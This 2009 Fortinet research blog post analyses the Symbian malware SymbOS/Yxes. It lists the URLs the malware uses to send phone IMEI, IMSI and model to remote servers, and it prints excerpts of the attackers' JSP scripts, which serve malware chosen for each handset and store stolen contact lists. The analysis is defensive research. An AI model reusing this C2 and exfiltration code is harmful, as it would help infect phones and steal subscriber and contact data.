Fortinet Blog | News and Threat Research

  • Products
  • Solutions
  • Service & Support
  • Partners
  • Corporate
  • Resources
  • How to Buy

SymbOS/Yxes or downloading customized malware

by RSS Axelle Apvrille  |  July 21, 2009  |  Category: Security Research

The Symbian malware Yxes is (nearly) keeping me awake these days.

Among other functionalities, it sends HTTP requests to a remote web server. The URLs it gets are the following:

  • Yxes.A: http://REMOVED/Kernel?Version=
    REXML could not parse this XML/HTML: 
    <VERSION>
  • Yxes.B or Yxes.E: http://REMOVED/Kernel.jsp?Version=
    REXML could not parse this XML/HTML: 
    <VERSION>&PhoneType=<TYPE>
  • Yxes.C: no similar URL
  • Yxes.D: this one issues two different requests: http://REMOVED/bs?Version=
    REXML could not parse this XML/HTML: 
    <VERSION>&PhoneImei=<IMEI>&PhoneImsi=<IMSI>&PhoneType=<TYPE>
    http://[REMOVED]/number/?PhoneType=<TYPE>
    http://[REMOVED]/index.jsp?PhoneType=<TYPE>
  • Yxes.F: http://REMOVED/PbkInfo.jsp?PhoneType=
    REXML could not parse this XML/HTML: 
    <TYPE>&PhoneImei=<IMEI>&PhoneImsi=<IMSI>

TYPE is a string that represents the phone’s model. For example, NokiaN95. If the malware is unable to retrieve the phone’s model, it returns by default nokia3250. VERSION is the malware’s version. Samples in the wild currently have a version number of 1.6 or 1.7 IMEI is the victim’s International Mobile Equipment Identity. This number identifies the mobile phone (e.g 358777016741038). IMSI is the victim’s International Mobile Subscriber Identity. This number identifies the subscriber. It is stored in the SIM card.

All of these are Java Server Pages (.jsp), a Java technology that dynamically generates HTML pages. By chance, the malicious web servers are not correctly configured: some virtual hosts do not seem to have JSP support enabled. Consequently, the server responds with the source of the JSP instead of the dynamic page! The source code is particularly enlightening. Basically, the behaviour of Kernel.jsp, bs,jsp and index.jsp is close: the malicious web servers (or other remote servers) host several malware (for example different versions of SymbOS/Yxes) and the idea is to select and download to the victim’s phone a malware his/her phone supports. This consists in selecting malware depending on the phone’s model or user agent.

To do so, the JSPs first retrieve the incoming URL’s user agent and parameters:

String sUA = request.getHeader(“user-agent”) != null?request.getHeader(“user-agent”):”NokiaN95”; String sPhoneNumber = request.getParameter(“PhoneNumber”)==null?”“:request.getParameter(“PhoneNumber”); String sPhoneType = request.getParameter(“PhoneType”)==null?”“:request.getParameter(“PhoneType”); String sVersion = request.getParameter(“Version”)==null?”“:request.getParameter(“Version”);

Note that samples we analyzed do not set any PhoneNumber argument, so the variable sPhoneNumber is left empty. If the script handles phone’s IMEI and IMSI, they are usually logged:

String result = service.addBS_ByLog4j(sPhoneNumber, sPhoneType, “O”, sIMEI, sIMSI);

Then, based on phone’s model (sPhoneType) or user agent (sUA), the JSPs select file extensions they are interested in.

String sExt = ””; if(!sPhoneType.equals(””)) { sExt = nokiaDown.getFileType(sPhoneType.replaceAll(” ”,”“)); log_client.info(sPhoneNumber+” - “+sPhoneType); } else { sExt = nokiaDown.getFileType(sUA.replaceAll(” ”,”“)); log_browser.info(sUA); }

For example, on Symbian OS 9.0 or greater, the JSPs look after the .sisx extension (Symbian’s installation packages). Then, they build a list of potential files which are suitable for download (the path they look into depends on versions - below the JSP looks into a directory named kernel_new, other versions look into software_new, browser_new etc).

String rootPath = service.getWebPath()+service.getCacheConfig(“MAIN_FOLDER”); FileManager fileManager = new FileManager(); ArrayList fileList = null; String sSoftFolder = ””; fileList = fileManager.getFiles(rootPath+”/download/kernel_new”,sExt,null); sSoftFolder = rootPath+”/download/kernel_new/”;

Finally, the JSPs randomly select a file within that file list and initiate its download by calling another script named Download.jsp:

int i = new Random().nextInt(fileList.size()); System.out.println(”»>i=”+i); String sFilePath = sSoftFolder+fileList.get(i); jsp:forward page="Download.jsp" jsp:param name="FileName" value="<%=URLEncoder.encode(sFilePath,"gb2312") %”/> jsp:param name="PhoneType" value="<%=URLEncoder.encode(sPhoneType,"gb2312") %”/> jsp:param name="Version" value="<%=URLEncoder.encode(sVersion,"gb2312") %”/> jsp:param name="Type" value="Kernel"/ </jsp:forward>

The Download.jsp script builds the HTTP response: it sets the appropriate HTTP MIME type and then dumps the file as an attachment:

if(name.toLowerCase().endsWith(“.sis”)) { response.setContentType(“application/vnd.symbian.install”); } else if(name.toLowerCase().endsWith(“.sisx”)) { response.setContentType(“x-epoc/x-sisx-app”); } … File file = new File(sFileName); if(file.exists()) { response.setHeader(“Content-Disposition”,”attachment;filename="“+new String(name.getBytes(“gb2312”),”iso-8859-1”)+”"”); try { String sHeader = ””; OutputStream os = response.getOutputStream(); … FileInputStream fis = new FileInputStream(file); byte b = new byte1024; int i=0; while((i=fis.read(b))!=-1) { os.write(b,0,i); } fis.close(); os.flush(); os.close(); } }

Those scripts ensure a victim is infected with several malware in a row. For instance, a victim who receives an SMS sent by Transmitter.C and visits the URL first downloads a copy of SymbOS/Yxes.E!worm. In turn, SymbOS/Yxes.E!worm downloads and infects the phone with SymbOS/Yxes.D!worm or SymbOS/Yxes.F!tr.

The PbkInfo.jsp script is different. It does not download any file, but uploads information to the server. The content of the HTTP request is copied on the server in data/Upload/Pbk with name

REXML could not parse this XML/HTML: 
<DATE>_<IMEI>_<IMSI>.txt where DATE is the current date, and IMEI and IMSI are the phone's IMEI and IMSI.

String content = ””; InputStream in = request.getInputStream(); byte buf = new byte1024; int i = 0; while((i=in.read(buf))!=-1){ content += new String(buf,0,i,”utf-8”); System.out.println(“content added”); } in.close(); … SimpleDateFormat sdf = new SimpleDateFormat(“yyyyMMddHHmmss”); String rootPath = service.getWebPath()+service.getCacheConfig(“MAIN_FOLDER”); File file = new File(rootPath+”/data/Upload/Pbk/”+sdf.format(new java.util.Date())+”_”+sIMEI+”_”+sIMSI+”.txt”); FileWriter writer = new FileWriter(file); writer.write(content); writer.close();

So, for example, if the malware issues an HTTP request such as http://REMOVED/PbkInfo.jsp?PhoneType=nokia3250&PhoneImei=123456789&PhoneImsi=00456, with as content a listing of all phone’s contact, then the JSP creates a file named 20090716170010_123456789_00456.txt and dumps the contact into the file. No doubt this is valuable marketing information…

Fortunately, the whole picture does not quite work because web servers are misconfigured, because the JSP scripts haven’t been properly debugged (missing escape sequences etc)… or because the Symbian malware themselves are bugged. For instance, though the intent is clear, I haven’t managed so far to get SymbOS/Yxes send any SMS or successfully connect to the Internet on a Nokia N95 (and, as a matter of fact, I’d be interested in hearing about how anybody succeeded: what mobile phone, conditions etc). Even if it is annoying to investigate bugged programs, I am not sure I should wish malware authors debug their malware. ;-)

– The Crypto Girl.

PS. Thanks to Dong Xie, Jie Zhang and David Maciejak for their help on this topic.

by RSS Axelle Apvrille  |  July 21, 2009  |  Category: Security Research
Tags: Research reverse engineering Security symbian malware symbos/yxes
comments powered by Disqus

Category

  • All
  • RSS Subscribe
  • Security Research
  • RSS Subscribe
  • Industry Trends & News
  • RSS Subscribe

FortiGuard Labs on the Web

  • Twitter Twitter
  • Facebook Facebook
  • LinkedIn LinkedIn
  • Youtube Youtube

Monthly Archives

  • May 2013 7
  • April 2013 17
  • March 2013 12
  • February 2013 11
  • January 2013 12
  • December 2012 8
  • November 2012 7
  • October 2012 4
  • September 2012 7
  • August 2012 7
  • July 2012 9
  • June 2012 17
  • May 2012 14
  • April 2012 16
  • March 2012 15
  • February 2012 11
  • January 2012 6
  • December 2011 4
  • November 2011 6
  • October 2011 11
  • September 2011 2
  • August 2011 2
  • July 2011 4
  • June 2011 6
  • May 2011 6
  • April 2011 5
  • March 2011 7
  • February 2011 5
  • January 2011 7
  • December 2010 8
  • November 2010 11
  • October 2010 3
  • September 2010 8
  • August 2010 4
  • July 2010 9
  • June 2010 9
  • May 2010 9
  • April 2010 6
  • March 2010 8
  • February 2010 6
  • January 2010 9
  • December 2009 8
  • November 2009 6
  • October 2009 6
  • September 2009 8
  • August 2009 5
  • July 2009 8
  • June 2009 7
  • May 2009 4
  • April 2009 7
  • March 2009 9
  • February 2009 4
  • January 2009 1
  • Older

Popular topics

mobile malware derek manky symbos/yxes Zeus Fortinet Windows trojan exploit bredolab Anonymous sms challenge microsoft FortiGate Firewall Research reversing apple privacy adobe botnet hacking challenge Antivirus Threat Landscape BYOD mobile phones Mobile Security symbian virut hashdays Anti-Spam google Malware SpyEye reverse engineering mobile phone mobile iphone stuxnet webinar Security symbianos Cryptography UTM network security Mac OS X conference facebook android zitmo